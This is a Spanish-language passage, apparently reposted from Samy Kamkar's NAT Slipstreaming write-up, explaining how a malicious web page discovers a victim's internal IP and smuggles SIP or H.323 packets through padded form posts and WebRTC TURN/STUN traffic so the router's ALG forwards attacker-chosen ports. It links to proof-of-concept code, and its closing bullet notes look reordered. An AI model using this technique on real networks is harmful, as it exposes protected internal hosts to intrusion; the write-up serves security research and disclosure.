A día de hoy, usar WebRTC para obtener la dirección IP local en Chrome, en lugar de una dirección `.local` mDNS/Bonjour, requiere usar HTTPS, pero HTTP es necesario para el resto de los ataques, por lo que primero detectamos si estamos en HTTP y si no, redirigimos a HTTPS. Luego intentamos usar WebRTC para extraer la dirección IP local. De cualquier manera, luego redirigimos de vuelta a HTTP con la(s) IP(s) añadidas a la URL para eludir las restricciones de origen cruzado mediante otros métodos de comunicación.

### Ataque de Temporización

Si se usa Safari, IE <= 11 u otros que no soportan WebRTC o intencionalmente no revelan la IP interna (Safari), podemos usar un ataque de temporización web para revelar la dirección IP interna de la víctima.

Logramos esto produciendo primero etiquetas HTML `` ocultas en la página, todas dirigidas a puertas de enlace comunes (192.168.*.1, 10.0.0.1 y [otros](https://github.com/samyk/slipstream/blob/main/server#L159)), junto con eventos Javascript `onsuccess` y `onerror`. Cada vez que se escribe una img en la página, se inicia un temporizador y si se carga `onsuccess`, significa que la IP respondió con un servidor web, y si no hay un servidor web ejecutándose pero la IP está en la red, enviará un TCP RST (reinicio, que significa puerto no abierto) de vuelta, activando `onerror`. Si no existe IP, no se envía RST y la respuesta tomará > 1 segundo, momento en el que sabemos que la IP no existe en nuestra red.

Una vez que vemos que se activa uno de estos eventos, conocemos una posible subred interna en la que estamos, luego realizamos el mismo ataque para cada IP en la subred (por ejemplo, 192.168.0.[2-255]), y esta vez realizamos una temporización más precisa para determinar qué IP responde **más rápido**. Esta es muy probablemente nuestra propia IP interna (víctima), ya que ni siquiera necesitamos salir de la interfaz de red. Incluso si no somos los primeros por alguna razón, aún intentamos nuestro ataque en todas las IPs que respondieron en la red.

## Confusión de Protocolo del Navegador

Una vez que el cliente obtiene los tamaños de paquete y la dirección IP interna, construye un formulario web especialmente manipulado que rellena los datos POST hasta que creamos que el paquete se fragmentará, momento en el que se añade nuestro SIP REGISTER que contiene la dirección IP interna. El formulario se envía mediante Javascript sin consentimiento de la víctima. :)

[![successful packet broken into valid SIP packet](https://assets.kitploit.com/production/public/readmes/3946/9d8133cafc497975e4bfc89034da0246e8bdd460f73b213e91d71bf14dd097e6.png)](img/pinpkt.png)

### Alteración de Paquete en Vivo en el Navegador

En nuestro servidor de ataque, como podemos ver los paquetes entrantes, comprobamos si el paquete SIP fue reescrito con la dirección IP pública. Si no fue así, comunicamos al cliente (automáticamente) que el paquete SIP no estaba en el límite de paquete esperado y no fue reescrito, y proporcionamos la nueva posición del límite desde nuestro sniffer.

El código del cliente ajusta automáticamente su tamaño de paquete al nuevo tamaño solo después de dos fallos consecutivos. Algunos navegadores (Firefox) a veces tienen un tamaño de paquete ligeramente diferente debido al límite multipart que generan para el formulario, que a diferencia de la mayoría de los otros navegadores, no tiene una longitud fija. Encuentro que después de unos 10 intentos, se usará el mismo tamaño y el ataque tendrá éxito.

Una vez que el paquete SIP aterriza en el límite del paquete, el NAT será engañado, creyendo que se trata de un registro SIP legítimo y de un cliente SIP en la máquina de la víctima. Una vez que nuestro servidor responde con una respuesta SIP adecuada (anidada dentro de una respuesta HTTP adecuada para que el navegador no detecte nada sospechoso), el NAT abrirá el puerto en el paquete original que hicimos enviar a la víctima y el router **reenviará cualquier puerto que el atacante elija de vuelta a la víctima interna, todo por simplemente navegar a un sitio web**.

Ataque completo. El atacante ahora puede conectarse a servicios TCP/UDP arbitrarios que se ejecutan en la víctima.

# Otros Hallazgos

Estos no se utilizan en este ataque, pero son interesantes de todos modos y podrían usarse potencialmente para otros ataques.

- La fragmentación IP permite el control total de todos los datos en la sección de datos IP, lo que significa control total de un encabezado UDP, incluidos los puertos origen/destino en el paquete desbordado
- La pila IP de la víctima reensambla y no analizará los datos, sin embargo, el NAT a través del cual fluye el paquete será susceptible
- Permite eludir el firewall del navegador o del sistema, ya que el único puerto UDP que se inspecciona es el paquete original, no el paquete fragmentado desbordado
- DoS a un cliente SIP enviando `Expires: 0` y eliminando el conntrack de otra persona
- Si un puerto ya está ocupado, el puerto escuchado se incrementa hasta que el puerto se desborda a 0
- STUN no tiene autenticación implementada en ningún navegador moderno

# Descarga

¡Gracias por leer! Puedes descargar el código de prueba de concepto desde mi [NAT Slipstream github](https://github.com/samyk/slipstream).

# Contacto

**Punto de Contacto:** [@SamyKamkar](https://twitter.com/samykamkar)

Encuentra más de mis proyectos en <https://samy.pl> o potencialmente contáctame en <[email protected]>.
Descargar herramienta
RFC 793 x3.1
  • se envía una baliza UDP grande desde el navegador a través del mecanismo de autenticación TURN de WebRTC a un puerto no estándar hacia el servidor del atacante para forzar la fragmentación IP con el campo username de TURN rellenado
    • realizamos un ataque similar al de segmentación TCP, pero sobre UDP ya que ocurrirá fragmentación IP y proporcionará valores diferentes a la segmentación TCP
    • el tamaño de MTU de la víctima, tamaño de cabecera IP, tamaño de paquete IP, tamaño de cabecera TCP, tamaños de segmento TCP son detectados por el servidor y enviados de vuelta al navegador de la víctima, utilizados más tarde para el relleno de paquetes
  • (v1) se genera un "paquete SIP" en un nuevo formulario oculto, que contiene la IP interna para activar el seguimiento de conexiones de la Pasarela a Nivel de Aplicación
    • se inicia un "HTTP POST" al servidor en el puerto TCP 5060 (puerto SIP), evitando puertos restringidos del navegador
    • los datos POST se "rellenan" hasta el tamaño exacto del segmento TCP / límite del paquete, luego se añade el "paquete SIP" y se envía mediante un formulario web
    • la pila IP de la víctima divide el POST en múltiples paquetes TCP, dejando el "paquete SIP" (como parte de los datos POST) en su propio paquete TCP sin cabeceras HTTP acompañantes
    • si el navegador altera el tamaño del límite multipart/form (Firefox) o el tamaño del paquete cambia por cualquier otra razón, el cambio de tamaño se comunica de vuelta al cliente y el cliente reenvía automáticamente con el nuevo tamaño
    • cuando se abre el puerto UDP, el paquete SIP se envía a través del protocolo TURN dentro del campo username especialmente manipulado, forzando la fragmentación IP y el control preciso de límites
  • (v2) se genera una conexión "paquete H.323" usando STUN basado en TCP (evadiendo parches para v1 y restricciones de puertos del navegador), que contiene la IP interna para activar el seguimiento de conexiones de la Pasarela a Nivel de Aplicación, pero forzando una redirección a cualquier otro host en la red en un paquete de "desvío de llamada"
    • se inicia un "desvío de llamada H.323" al servidor en el puerto TCP 1720 (puerto H.323), evitando puertos restringidos del navegador, a pesar de que el puerto está bloqueado -- la evasión de puerto se realiza utilizando la característica STUN de WebRTC que no respeta la lista de puertos restringidos
    • el campo username se "rellena" hasta el tamaño exacto del segmento TCP / límite del paquete, luego se añade “paquete H.323” y se envía mediante un formulario web
    • la pila IP de la víctima divide el POST en múltiples paquetes TCP, dejando el "paquete H.323" (como parte de los datos STUN) en su propio paquete TCP sin cabeceras HTTP acompañantes
    • si el navegador altera el tamaño del límite multipart/form (Firefox) o el tamaño del paquete cambia por cualquier otra razón, el cambio de tamaño se comunica de vuelta al cliente y el cliente reenvía automáticamente con el nuevo tamaño
  • el NAT de la víctima ve un paquete SIP REGISTER adecuado en el puerto SIP o un paquete de desvío de llamada H.323 adecuado (sin datos HTTP), lo que activa el ALG para abrir cualquier puerto TCP/UDP definido en el paquete de vuelta a cualquier host de la víctima en la red
    • el NAT de la víctima reescribe el paquete SIP o H.323, reemplazando la IP interna con la IP pública, indicando al atacante que el exploit fue exitoso
    • (v2) como el desvío de llamada H.323 puede dirigir a cualquier otra IP, el paquete puede contener cualquier IP interna de cualquier otro host en la red de la víctima, haciendo que el NAT redirija puertos a cualquier sistema en la red
    • incluso si el NAT de la víctima normalmente reescribe los puertos de origen, el ALG seguirá siendo forzado a redirigir puertos al puerto elegido por el atacante, ya que cree que la máquina de la víctima (u otra máquina en la red, determinada enteramente por el atacante) abrió ese puerto y el atacante ve el nuevo puerto de origen en el paquete SIP/H.323 que llega
    • el atacante ahora puede evitar el NAT de la víctima y conectarse directamente a cualquier puerto en cualquier máquina de la red, exponiendo servicios y sistemas previamente protegidos/ocultos
  • para investigar...¿quizás por ti?
    • uso no malicioso: esta técnica esencialmente otorga a los navegadores capacidad completa de socket TCP y UDP para comunicarse con cualquier protocolo localmente en el sistema; la conexión puede ser abstraída a través de un servidor en la nube que se conecta de vuelta, pero el navegador solo habla con el servidor en la nube como si fuera el socket y hace que los navegadores sean mucho más potentes para comunicarse en protocolos no amigables con la web
    • si se prueba en una máquina virtual (VM) usando red compartida (usada para proteger un host de ataques enrutándolo a través del host, sin dejarlo directamente en la red), si los paquetes logran salir, la máquina host padre es donde terminan abriéndose los puertos, no la VM ;)
    • la fragmentación IP permite el control total de todos los datos en la sección de datos IP, lo que significa control total de la cabecera UDP, incluyendo puertos de origen/destino en el paquete desbordado...¿qué más podría abusar de esto?
  • process_sip_request(...)
  • strncasecmp(*dptr, handler->method, ...) el manejador abortará a menos que el método (por ejemplo, REGISTER) ocurra al inicio de la porción de datos del paquete (TCP o UDP) como vimos con INVITE arriba... REGISTER es solo otro comando SIP
  • esto es un desafío, ya que si solo usamos un navegador web, no podemos producir una conexión TCP sin procesar y comenzar cualquier paquete con nuestros propios datos, ya que estarán llenos de encabezados HTTP/TLS... ¿o podemos?
  • process_register_request(...)nf_ct_expect_init(...) a través de sip_handlers inicializamos el agujero del cortafuegos (puerto para permitir que un remoto se conecte de vuelta), pero aún no lo abrimos
  • nf_nat_sip_hooks -> nf_nat_sip(...) el NAT también modifica (reescribe) la dirección IP interna del cliente por la IP pública del NAT para que el destino pueda alcanzarlo correctamente
  • sip_help_tcp(...) -> process_sip_msg(...) ->
    • process_sip_response(...) ahora estamos viendo la respuesta SIP del servidor SIP
      • process_register_response(...) -> refresh_signalling_expectation(...) el puerto es reenviado por el NAT solo después de que el servidor SIP envía una respuesta SIP válida